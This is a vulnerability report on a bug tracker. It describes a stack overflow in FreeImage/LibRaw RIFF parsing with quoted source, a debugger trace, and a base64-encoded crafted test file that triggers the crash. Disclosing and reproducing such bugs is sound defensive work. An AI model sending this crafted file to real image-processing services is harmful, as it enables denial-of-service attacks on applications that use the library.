Menu

#338 A stack buff overflower in function Validate() located in PluginRAW.cpp

open
nobody
None
5
2021-08-26
2021-08-26
0x79h
No

tl;dr:
When Load RIFF format files, "size" is read from file. FreeImage seek file pos by "size", and function Validate will call LibRaw::open_datastream with LibRaw_freeimage_datastream, it will call to LibRaw::parse_riff. If "size" is a negative number(>0x7ffffffff), FreeImage will call LibRaw::parse_riff function by itself, it eventually causing the stack to be filled.

When the program reads a RIFF format file, it will call to the Validate function of the 'PluginRAW.cpp' file , to validata format.

In Validate function, it will use LibRaw_freeimage_datastream to call LibRaw::open_datastream

static BOOL DLL_CALLCONV
Validate(FreeImageIO *io, fi_handle handle) {           //<---- io is LibRaw_freeimage_datastream
......
    // no magic signature : we need to open the file (it will take more time to identify it)
    // do not declare RawProcessor on the stack as it may be huge (300 KB)
    {
        LibRaw *RawProcessor = new(std::nothrow) LibRaw;

        if(RawProcessor) {
            BOOL bSuccess = TRUE;

            // wrap the input datastream
            LibRaw_freeimage_datastream datastream(io, handle);

            // open the datastream
            if(RawProcessor->open_datastream(&datastream) != LIBRAW_SUCCESS) {     //<---- call LibRaw::open_datastream
                bSuccess = FALSE;   // LibRaw : failed to open input stream (unknown format)
            }

            // clean-up internal memory allocations
            RawProcessor->recycle();
            delete RawProcessor;

            return bSuccess;
        }
    }

    return FALSE;
}

And will call to LibRaw::parse_riff function if file start with "RIFF".

FreeImaged.dll!LibRaw::parse_riff()
FreeImaged.dll!LibRaw::identify()
FreeImaged.dll!LibRaw::open_datastream(LibRaw_abstract_datastream * stream)
FreeImaged.dll!Validate(FreeImageIO * io, void * handle)
FreeImaged.dll!FreeImage_ValidateFIF(FREE_IMAGE_FORMAT fif, FreeImageIO * io, void * handle)
FreeImaged.dll!FreeImage_GetFileTypeFromHandle(FreeImageIO * io, void * handle, int size)
FreeImaged.dll!FreeImage_GetFileType(const char * filename, int size)

In LibRaw::parse_riff function, it call itslef by variable "tag". And the "tag" is read from file.

void LibRaw::parse_riff()
{
  unsigned i, size, end;
  char tag[4], date[64], month[64];
  static const char mon[12][4] = {"Jan", "Feb", "Mar", "Apr", "May", "Jun",
                                  "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"};
  struct tm t;

  order = 0x4949;
  fread(tag, 4, 1, ifp);
  size = get4();                                //<---- size read from file
  end = ftell(ifp) + size;
  if (!memcmp(tag, "RIFF", 4) || !memcmp(tag, "LIST", 4))
  {
    int maxloop = 1000;
    get4();
    while (ftell(ifp) + 7 < end && !feof(ifp) && maxloop--)
      parse_riff();                             //<---- call itself
  }
.......
  }
  else
    fseek(ifp, size, SEEK_CUR);                 //<---- seek pos by size
}

function get4() just read four bytes.

unsigned LibRaw::get4()
{
  uchar str[4] = {0xff, 0xff, 0xff, 0xff};
  fread(str, 1, 4, ifp);
  return sget4(str);
}

__int64 is file default variable type at LibRaw_bigfile_buffered_datastream in "libraw_datastream.h"

class DllDef LibRaw_bigfile_buffered_datastream : public LibRaw_abstract_datastream
{
public:
......
    virtual INT64 tell();
    virtual INT64 size() { return _fsize; }
......
protected:
    INT64   readAt(void *ptr, size_t size, INT64 off);
......
    INT64 _fsize;
    INT64 _fpos; /* current file position; current buffer start position */
......
};

But long is file default variable type at "LibRaw_freeimage_datastream" in FreeImageIO.cpp

unsigned DLL_CALLCONV 
_ReadProc(void *buffer, unsigned size, unsigned count, fi_handle handle) {
    return (unsigned)fread(buffer, size, count, (FILE *)handle);
}

unsigned DLL_CALLCONV 
_WriteProc(void *buffer, unsigned size, unsigned count, fi_handle handle) {
    return (unsigned)fwrite(buffer, size, count, (FILE *)handle);
}

int DLL_CALLCONV
_SeekProc(fi_handle handle, long offset, int origin) {
    return fseek((FILE *)handle, offset, origin);
}

long DLL_CALLCONV
_TellProc(fi_handle handle) {
    return ftell((FILE *)handle);
}

So if we let "size" to a negative number, the the file cursor pos could go back to begining of function.
LibRaw::parse_riff will call function by itself, it eventually causing the stack to be filled. An attacker can reach a remote denial of service attack by sending a specially constructed file.


windbg:

ModLoad: 00000001`80000000 00000001`80a65000   D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Dist\x64\FreeImaged.dll
ModLoad: 00007ffa`f4430000 00007ffa`f44bd000   C:\Windows\SYSTEM32\MSVCP140.dll
ModLoad: 00007ffb`5eda0000 00007ffb`5edac000   C:\Windows\SYSTEM32\VCRUNTIME140_1.dll
ModLoad: 00007ffb`7de50000 00007ffb`7debb000   C:\Windows\System32\WS2_32.dll
ModLoad: 00007ffb`69a60000 00007ffb`69a7b000   C:\Windows\SYSTEM32\VCRUNTIME140.dll
ModLoad: 00007ffb`39170000 00007ffb`391a7000   C:\Windows\SYSTEM32\VCOMP140D.DLL
ModLoad: 00007ffb`7dd20000 00007ffb`7de4a000   C:\Windows\System32\RPCRT4.dll
(4460.8c84): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb`7ed80770 cc              int     3
0:000> g
(4460.8c84): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FreeImaged!__crt_stdio_stream::has_any_buffer+0x13:
00000001`8058e103 e808000000      call    FreeImaged!__crt_stdio_stream::has_any_of (00000001`8058e110)
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000a9`09a03ff0 00000001`805a2947     FreeImaged!__crt_stdio_stream::has_any_buffer+0x13 [minkernel\crts\ucrt\inc\corecrt_internal_stdio.h @ 221] 
01 000000a9`09a04020 00000001`805a31c0     FreeImaged!_fread_nolock_s+0x2b7 [minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp @ 93] 
02 000000a9`09a04100 00000001`805a307d     FreeImaged!fread_s+0x130 [minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp @ 56] 
03 000000a9`09a04150 00000001`8000f564     FreeImaged!fread+0x3d [minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp @ 240] 
04 000000a9`09a04190 00000001`8005192b     FreeImaged!_ReadProc+0x34 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\FreeImage\FreeImageIO.cpp @ 33] 
05 000000a9`09a041c0 00000001`802f1bf1     FreeImaged!LibRaw_freeimage_datastream::read+0x3b [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\FreeImage\PluginRAW.cpp @ 67] 
06 000000a9`09a041f0 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x81 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 256] 
07 000000a9`09a043b0 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 
08 000000a9`09a04570 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 
09 000000a9`09a04730 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 
0a 000000a9`09a048f0 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 
0b 000000a9`09a04ab0 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 
0c 000000a9`09a04c70 00000001`802f1d11     FreeImaged!LibRaw::parse_riff+0x1a1 [D:\coding\FreeImage\freeimage-svn-r1889\FreeImage\trunk\Source\LibRawLite\src\metadata\misc_parsers.cpp @ 263] 

TestFile:

data:image/raw;base64,UklGRiAAAAAAAAAAMHg3OQAAAAAwMDAw5P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
2 Attachments

Discussion


Log in to post a comment.